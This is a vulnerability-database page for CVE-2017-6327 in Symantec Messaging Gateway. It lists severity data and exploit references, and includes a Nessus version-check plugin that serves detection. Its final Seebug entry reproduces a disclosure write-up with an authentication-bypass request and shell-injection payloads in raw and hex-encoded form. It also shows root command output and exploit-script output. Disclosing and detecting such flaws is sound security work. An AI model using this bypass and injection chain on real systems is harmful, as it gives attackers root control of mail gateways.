Vulnerabilities > CVE-2017-6327 - Unspecified vulnerability in Symantec Message Gateway

047910
CVSS 8.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
LOW
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
symantec
nessus
exploit available

Summary

The Symantec Messaging Gateway before 10.6.3-267 can encounter an issue of remote code execution, which describes a situation whereby an individual may obtain the ability to execute commands remotely on a target machine or in a target process. In this type of occurrence, after gaining access to the system, the attacker may attempt to elevate their privileges.

D2sec

nameSymantec Messaging Gateway RestoreAction.performRestore() RCE
urlhttp://www.d2sec.com/exploits/symantec_messaging_gateway_restoreaction.performrestore_rce.html

Exploit-Db

descriptionSymantec Messaging Gateway 10.6.3-2 - Unauthenticated root Remote Command Execution. CVE-2017-6327. Webapps exploit for JSP platform
fileexploits/jsp/webapps/42519.txt
idEDB-ID:42519
last seen2017-08-18
modified2017-08-18
platformjsp
port
published2017-08-18
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42519/
titleSymantec Messaging Gateway 10.6.3-2 - Unauthenticated root Remote Command Execution
typewebapps

Nessus

NASL familyCGI abuses
NASL idSYMANTEC_MESSAGING_GATEWAY_SYM17-006.NASL
descriptionAccording to its self-reported version number, the Symantec Messaging Gateway (SMG) running on the remote host is 10.x prior to 10.6.3-267. It is, therefore, affected by multiple vulnerabilities : - An unspecified flaw exists due to a failure to properly sanitize user-supplied input. An authenticated, remote attacker can exploit this to execute arbitrary commands. (CVE-2017-6327) - A cross site request Forgery (CSRF) vulnerability exists as HTTP requests to certain pages do not require multiple steps, explicit confirmation, or a unique token when performing certain sensitive actions. (CVE-2017-6328) Note that Nessus has not tested for these issues but has instead relied only on the application
last seen2020-06-01
modified2020-06-02
plugin id102528
published2017-08-16
reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/102528
titleSymantec Messaging Gateway 10.x < 10.6.3-267 Multiple Vulnerabilities (SYM17-006)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(102528);
  script_version("1.12");
  script_cvs_date("Date: 2019/11/12");

  script_cve_id("CVE-2017-6327", "CVE-2017-6328");
  script_bugtraq_id(100135, 100136);

  script_name(english:"Symantec Messaging Gateway 10.x < 10.6.3-267 Multiple Vulnerabilities (SYM17-006)");
  script_summary(english:"Checks the Symantec Messaging Gateway version number.");

  script_set_attribute(attribute:"synopsis", value:
"A messaging security application running on the remote host is
affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"According to its self-reported version number, the Symantec Messaging
Gateway (SMG) running on the remote host is 10.x prior to 10.6.3-267.
It is, therefore, affected by multiple vulnerabilities :

  - An unspecified flaw exists due to a failure to properly sanitize
    user-supplied input. An authenticated, remote attacker can exploit
    this to execute arbitrary commands. (CVE-2017-6327)

  - A cross site request Forgery (CSRF) vulnerability exists as HTTP
    requests to certain pages do not require multiple steps, explicit
    confirmation, or a unique token when performing certain sensitive
    actions. (CVE-2017-6328)

Note that Nessus has not tested for these issues but has instead
relied only on the application's self-reported version number.");
  # https://support.symantec.com/en_US/article.SYMSA1411.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6d53eb37");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Symantec Messaging Gateway (SMG) version 10.6.3-267 or
later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-6328");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Symantec Messaging Gateway RestoreAction.performRestore() RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/08/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/08/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/08/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:messaging_gateway");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("symantec_messaging_gateway_detect.nasl");
  script_require_keys("www/sym_msg_gateway");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

get_install_count(app_name:'sym_msg_gateway', exit_if_zero:TRUE);

port = get_http_port(default:443);
install = get_single_install(app_name:'sym_msg_gateway', port:port);
base_url = build_url(qs:install['dir'], port:port);

if (install['version'] == UNKNOWN_VER)
  audit(AUDIT_UNKNOWN_WEB_APP_VER, 'Symantec Messaging Gateway', base_url);
if (install['version'] !~ "^10(\.|$)")
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'Symantec Messaging Gateway', base_url, install['version']);
if (install['version'] =~ "^10(\.6)?$") audit(AUDIT_VER_NOT_GRANULAR, 'Symantec Messaging Gateway', port, install['version']);

# Detection does not provide anything more detailed than 'x.y.z'
if (install['version'] == "10.6.3" && report_paranoia < 2)
  audit(AUDIT_PARANOID);

if (
  install['version'] =~ "^10\.[0-5]($|[^0-9])" ||
  install['version'] =~ "^10\.6\.[0-3]($|[^0-9])"
)
{
  report =
    '\n  URL               : ' + base_url +
    '\n  Installed version : ' + install['version'] +
    '\n  Fixed version     : 10.6.3-267\n';

  security_report_v4(severity:SECURITY_WARNING, port:port, extra:report, xsrf:TRUE);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, 'Symantec Messaging Gateway', base_url, install['version']);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/143821/symantecmg-exec.txt
idPACKETSTORM:143821
last seen2017-08-22
published2017-08-18
reporterPhilip Pettersson
sourcehttps://packetstormsecurity.com/files/143821/Symantec-Messaging-Gateway-10.6.3-2-Remote-Code-Execution.html
titleSymantec Messaging Gateway 10.6.3-2 Remote Code Execution

Seebug

bulletinFamilyexploit
description### Bug #1: Web authentication bypass The web management interface is available via HTTPS, and you can't do much without logging in. If the current session (identified by the `JSESSIONID` cookie) has the `user` attribute set, the session is considered authenticated. The file LoginAction.class defines a number of public methods and they can all be reached via unauthenticated web requests. By making a GET request to `/brightmail/action1.do?method=method_name` we can execute `LoginAction.method_name` if `method_name` is a public method. One such public method which will be the target of our authentication bypass is called `LoginAction.notificationLogin`. It does the following: 1. Decrypt the `notify` parameter using `BrightmailDecrypt.decrypt` 2. Creates a new `UserTO` object using the decrypted `notify` parameter as an email value 3. Creates a new session, invalidating the old one if necessary 4. Sets the `user` attribute of the newly created session to our constructed UserTO object It essentially takes a username value from a GET parameter and logs you in as this user if it exists. If not, it creates this user for you. We need to encrypt our `notify` argument so that `BrightmailDecrypt.decrypt` will decrypt it properly. Fortunately the encryption is just PBEWithMD5AndDES using a static password, conveniently included in the code itself. I won't include the encryption password or a fully encrypted notify string in this post. #### Example request: ``` GET /brightmail/action1.do?method=notificationLogin&notify=MTIzNDU2Nzg%3d6[...]&id=test HTTP/1.1 ... HTTP/1.1 302 Found Server: Apache-Coyote/1.1 ... Set-Cookie: JSESSIONID=9E45E9F70FAC0AADAC9EB7A03532F65D; Path=/brightmail; Secure; HttpOnly ```` ### Bug #2: Command injection The RestoreAction.performRestore method can be reached with an authenticated session and it takes the restoreSource and localBackupFilename parameters. After a long chain of function calls, localBackupFilename ends up being sent to the local "bmagent" daemon listening on port 41002. It will execute /opt/Symantec/Brightmail/cli/bin/db-restore with argv[1] being our supplied value. The db-restore script is a sudo wrapper for /opt/Symantec/Brightmail/cli/sbin/db-restore, which in turn is a perl script containing a command injection in a call to /usr/bin/du. ``` $ /opt/Symantec/Brightmail/cli/bin/db-restore 'asdf;"`id`";' /usr/bin/du: cannot access `/data/backups/asdf': No such file or directory sh: uid=0(root) gid=0(root) groups=0(root): command not found ERROR: Failed to copy 'asdf;"`id`";' from local backup store: No such file or directory ``` This command injection can be exploited from the web management interface with a valid session, which we can create using bug #1. ### Combining bug #1 and #2 The last step is to get a CSRF token since the vulnerable performRestore function is annotated with @CSRF. After some quick digging it turns out that all you need to do is call /brightmail/common.jsp to get a token that will be valid for all your requests. The URL-encoded value we provide for the `localBackupFileSelection` parameter is: asdf`id>/data/bcc/webapps/brightmail/output.txt;/bin/uname -a>>/data/bcc/webapps/brightmail/output.txt`hehehe #### Request: ``` GET /brightmail/admin/restore/action5.do?method=performRestore&symantec.brightmail.key.TOKEN=bbda9b0a52bca4a43cc2b6051cd6b95900068cd3&restoreSource=APPLIANCE&localBackupFileSelection=%61%73%64%66%60%69%64%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%3b%2f%62%69%6e%2f%75%6e%61%6d%65%20%2d%61%3e%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%60%68%65%68%65%68%65 HTTP/1.1 Host: 192.168.205.220 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=34D61B34698831DB765A9DD5E0049D0B Connection: close Upgrade-Insecure-Requests: 1 ``` #### Response: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-store,no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Frame-Options: SAMEORIGIN Content-Type: text/html;charset=UTF-8 Content-Length: 803 Date: Thu, 29 Jun 2017 06:48:12 GMT Connection: close <HTML> <title>Symantec Messaging Gateway -&nbsp;Restore</title> ... ``` Now to confirm that our command output was correctly placed in a file inside the webroot. ``` imac:~% curl -k https://192.168.205.220/brightmail/output.txt uid=0(root) gid=0(root) groups=0(root) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux ``` #### EXPLOIT OUTPUT ``` imac:~/brightmail% python brightmail-rce.py https://192.168.205.220/brightmail bypassing login.. * JSESSIONID=693079639299816F80016123BE8A0167 verifying login bypass.. * Version: 10.6.3 getting csrf token.. * 1e35af8c567d3448a65c8516a835cec30b6b8b73 done, verifying.. uid=501(bcc) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody),499(mysql),502(bcc) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # cat /etc/issue Symantec Messaging Gateway Version 10.6.3-2 Copyright (c) 1998-2017 Symantec Corporation. All rights reserved. ```
idSSV:96367
last seen2017-11-19
modified2017-08-21
published2017-08-21
reporterRoot
titleSymantec Messaging Gateway <= 10.6.3-2 unauthenticated root RCE(CVE-2017-6327)